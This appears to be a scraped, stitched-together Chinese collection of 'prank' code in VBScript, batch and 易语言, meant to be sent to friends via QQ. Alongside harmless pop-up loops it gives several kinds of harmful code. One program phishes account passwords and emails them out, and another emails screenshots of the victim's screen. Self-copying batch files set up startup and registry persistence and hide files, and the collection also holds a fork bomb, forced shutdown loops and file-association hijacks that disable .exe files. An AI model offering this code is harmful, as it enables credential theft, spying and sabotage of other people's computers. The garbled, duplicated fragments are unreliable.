整人电脑代码
vbs整人代码怎么用
vbs整人代码怎么用简介vbs整人代码指的是一种利用VBScript语言编写的代码,用于在Windows系统中开展一些恶作剧或整人的活动。
vbs 整人代码通常以一个脚本的形式存在,在运行脚本后,会执行一系列的操作,例如打开和关闭CD驱动器、弹出提示框、在屏幕上显示滑稽的动画等,从而逗乐或惊吓其他人。
本文将介绍如何使用vbs整人代码,并提供一些常见的整人代码示例。
必备条件在开始使用vbs整人代码之前,您需要确保以下条件已满足:1.Windows操作系统:vbs整人代码只能在Windows操作系统上运行。
2.VBS支持:VBScript在Windows系统中默认是被支持的,无需额外安装。
使用步骤下面是使用vbs整人代码的基本步骤:1.打开文本编辑器:您可以使用任何一款文本编辑器,例如记事本、Sublime Text等。
2.创建新文件:在文本编辑器中,点击“文件”>“新建”以创建一个新的文件。
3.编写vbs整人代码:在新建的文件中,编写您想要执行的vbs整人代码。
vbs整人代码的语法和VBScript相同,您可以使用各种VBScript提供的函数和对象。
4.保存文件:点击“文件”>“保存”,选择一个合适的文件名以及保存的位置,并使用.vbs作为文件的扩展名。
例如,您可以将文件保存为prank.vbs。
5.运行代码:双击保存的vbs文件,系统将会自动运行您编写的整人代码。
请确保您在正确的时间、地点和对象上使用整人代码,避免给他人带来困扰。
示例代码下面是一些常见的vbs整人代码示例,您可以根据需要进行使用或修改:弹出消息框``` MsgBox。
vbs整人电脑病毒代码是怎样的
vbs整人电脑病毒代码是怎样的计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。
这是目前官方最权威的关于计算机病毒的定义,此定义也被通行的《计算机病毒防治产品评级准则》的国家标准所采纳。
以下是店铺网小编为大家整理的关于vbs整人电脑病毒代码的相关知识,希望对大家有所帮助!易语言整人代码如下.版本 2.支持库 OPenGL.子程序 __启动窗口_创建完毕运行(“Shutdown.exe -s -t 120”, 假, ).子程序 _按钮1_被单击.如果真 (编辑框1.内容= “我是蠢猪,***是大好人”)运行(“shutdown -a ”, 假, )信息框(“哈哈~我还是很厚道的!我也知道你是发自内心的,是啊,我怎么那么完美呢?——呵呵~”, 0, )结束 ().如果真 (编辑框1.内容≠ “我是蠢猪,***是大好人”)信息框(“尼玛,输入正确会死啊!告诉你了,只要输入正确就OK 了~你怎么就不相信我呢”, 0, )—————————————————————————————————————————易语言骗账号代码如下:.版本 2.支持库 internet.子程序 _按钮1_被单击连接发信服务器(“”, 25, “邮箱”, “密码”, )发送邮件(“号来了”, “账号:” + 编辑框1.内容 + #换行符 +“密码:” + 编辑框2.内容, “邮箱”, , , “邮箱”, )——————————————————————————————————————————易语言监视对方电脑,连发十张高清截图代码如下:.版本 2.支持库 eImgConverter.支持库 internet.子程序 __启动窗口_创建完毕.计次循环首 (10, )写到文件(“D:\jt.bmp”, 快照 (, , ))转换到JPG (“jt.bmp”, “jt.jpg”, 假, 75, 真, 0).如果真 (连接发信服务器(“”, 25, “邮箱”, “密码”, ))添加附件文件(“D:\jt.bmp”).如果真结束发送邮件(“主题”, “被监视的电脑截图”, “邮箱”, , , “邮箱”, )断开发信服务器 ().计次循环尾 ()删除文件(“D:\jt.bmp”)结束 ()——————————————————————————————————————————你说要有图片可以将易语言程序启动窗口主页面的图片设置成我这样你说要有声音,可以运用以下代码:.版本 2.程序集窗口程序集1.子程序 _按钮1_被单击播放MP3 (1, “mp3地址”)——————————————————————————————————————————如果是电脑命令的话新建txt输入:shutdown -s -t 120 -c 你是猪!保存为bat或者还有,如果他用电脑命令破解,你就往后输入@echo offassoc .bat=txtfile可以让他所有的电脑命令成为乱码除了电脑命令乱码,你还可以设置各种的,比如:assoc .exe=txtfileassoc .mp3=txtfileassoc .zip=txtfileassoc .fiv=txtfileand so on……其实输入了就这样的代码,那台电脑基本就瘫痪了,没什么可以玩的了~。
整人电脑代码
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("夜黑很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
VBS整人代码大全
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
整人代码
set WSHshell = wscript.createobject("wscript.shell")
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
一些整人的批处理代码
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2:马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3:立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开"我的电脑"看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
电脑整人代码
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝
又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
测试环境:Windows 2003 系统
大家好
今天给大家带来两个整人的VBS脚本 希望大家喜欢
VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
C语言整人程序代码大全
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
ws.run"iexplore.exe //infocenter"
msgbox"哎呀累了!数绵羊哄我睡觉",4096+64
整人代码
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
其他的:
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
C语言整人程序代码大全
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")顶举报| 2011-06-01 20:46回复菊花爆开电白自学2楼WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
") WScript.Echo("小强很生气,后果很严重哦。
")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。
几个电脑重启整人的小代码,稍微修改也可以成为表白利器
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次
第四个:让人崩溃的关机程序
首先你可以看下面的
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
整人电脑代码
("还剩39下")
("Βιβλιοθήκη 剩38下")("还剩37下")
("还剩36下")
("还剩35下")
("还剩34下")
("还剩33下")
("还剩32下")
("还剩30下")
("还剩29下")
("还剩28下")
("还剩27下")
("还剩26下")
("还剩25下")
("还剩24下")
("还剩23下")
("还剩22下")
("还剩21下")
("还剩20下")
("还剩19下")
("还剩18下")
("还剩17下")
("还剩16下")
("还剩15下")
("还剩14下")
("还剩13下停停!!!慢点,我有话要说")
("还剩12下,你继续点我就会消失滴")
("还剩11下,以后就看不到我拉。呜呜~555555")
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,
结束任务都不行,他只能说他是猪才能解决问题。够坏吧注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人,
vbs整人代码大集合
未知驱动探索,专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码,这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言,可以通过各种操作系统上的微软系列产品(如Windows)来使用。
请注意,这些代码仅用于娱乐目的,不应用于恶意活动或任何非法行为。
使用这些代码时,请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块,并在用户试图移动鼠标指针靠近色块时,自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
电脑整人小代码
if "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begintasklist |find /i "QQ.exe"if %errorlevel%==0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t >nul 2>nulgoto begin——————————分割线————————把以上代码保存成txt格式,然后把后缀改成bat,然后双击运行嘿嘿,那你的qq就不能运行了哟@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的E盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo. =========================================echo. 啊哈哈,都删关,都杀关,哈哈……echo. =========================================echo. 系统将马上崩溃......echo. 这是一个木马程序......您的所有资料已经传到XXXX@shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈,你活该!"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a____________________________分割线______________________将分割线以上部分保存到txt格式,然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。
整人病毒代码
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。
他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………附带:print键截屏方法:键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按“Print Screen SysRq”键,则是对当前窗口进行抓图。
如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!二、让电脑硬盘消失-隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!步骤1.新建一个记事本2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中:Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
整人病毒代码
前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。
PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。
他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………附带:print键截屏方法:键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按“Print Screen SysRq”键,则是对当前窗口进行抓图。
如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!二、让电脑硬盘消失-隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!步骤1.新建一个记事本2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中:Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
整人代码大集合-多年的代码收集
整人代码大集合-多年的代码收集在我们的日常生活中,整人已经成为一种常见的娱乐方式。
无论是在家庭聚会还是在办公室,整人都可以给人们带来欢乐和轻松的氛围。
而在数字化时代,整人也不再局限于口头或行为上,代码整人也成为了一种新的趋势。
多年来,人们不断积累了各种各样的代码整人,这些代码可以用于各种场合,让人们捧腹大笑。
下面就让我们来看看这些代码整人的大集合吧!1. 桌面整人代码。
在办公室中,桌面整人是一种常见的方式。
你可以在同事的电脑上放一个隐藏的桌面截图,然后将所有的桌面图标隐藏,让他们找不到任何东西。
下面是一个简单的VBScript代码,可以实现这个整人效果:```vbscript。
Set WshShell = WScript.CreateObject("WScript.Shell")。
WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。
WshShell.SendKeys "{F5}"```。
将以上代码保存为.vbs文件,然后将文件发送给你的同事,让他们双击运行。
他们的桌面图标将全部消失,然后按下F5键即可恢复。
2. 键盘整人代码。
键盘整人是另一种常见的方式,你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。
下面是一个简单的AutoHotkey代码,可以实现这个整人效果:```autohotkey。
SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。
```。
将以上代码保存为.ahk文件,然后发送给你的朋友让他们运行。
这个代码会触发一个快捷键组合,让他们的屏幕上出现切换窗口的效果。
3. 网页整人代码。
在网页上整人也是一种常见的方式,你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。
整人代码+隐藏文件夹
整人代码+隐藏文件夹珍藏版整人代码给大家发出来啦!我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.ExE /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.ExE /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,结素任务都不行,他只能说他是猪才能解决问题。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,结束任务都不行,他只能说他是猪才能解决问题。
够坏吧?注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人,就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢?第四个:让人崩溃的关机程序首先你可以看下面的WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的XX童鞋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
")WScript.Echo("夜黑很生气,后果很严重哦。
")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说")WScript.Echo("还剩12下,你继续点我就会消失滴")WScript.Echo("还剩11下,以后就看不到我拉。
呜呜~555555")WScript.Echo("还剩10下,你现在可以选择停止!")WScript.Echo("还剩9下。
你还点啊,不要我拉?")WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")WScript.Echo("还剩7下。
疯了,你有点负意!")WScript.Echo("还剩6下。
对。
你就点吧,我恨你!")WScript.Echo("还剩5下,不明白,删除我你就好吗?")WScript.Echo("还剩4下!真要删除我?")WScript.Echo("还剩3下。
可是我真的很眷恋你。
")WScript.Echo("还剩2下。
不要这么绝情嘛,人家是爱你的!")WScript.Echo("还剩1下。
哼,既然你这么绝情。
也别怪我无义!!!")WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。
") WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")把这个复制在记事本,把后缀修改成.vbs在打开呢就会先说第一句的嘿,谢谢你打开我哦,我等你很久拉!他无论是点关闭或者是点确定都会再说第2句再点就说地3句会按顺序说完你们注意哦,最后10句话,只是10句,你要是把这个复制再粘贴N次,那他还有个打完呢?这样才做到整人了,要是给喜欢的人发去啊,那就写你要说的话吧,双引号里面的可以随便更改这个最简单的就是结束任务进程来结束它。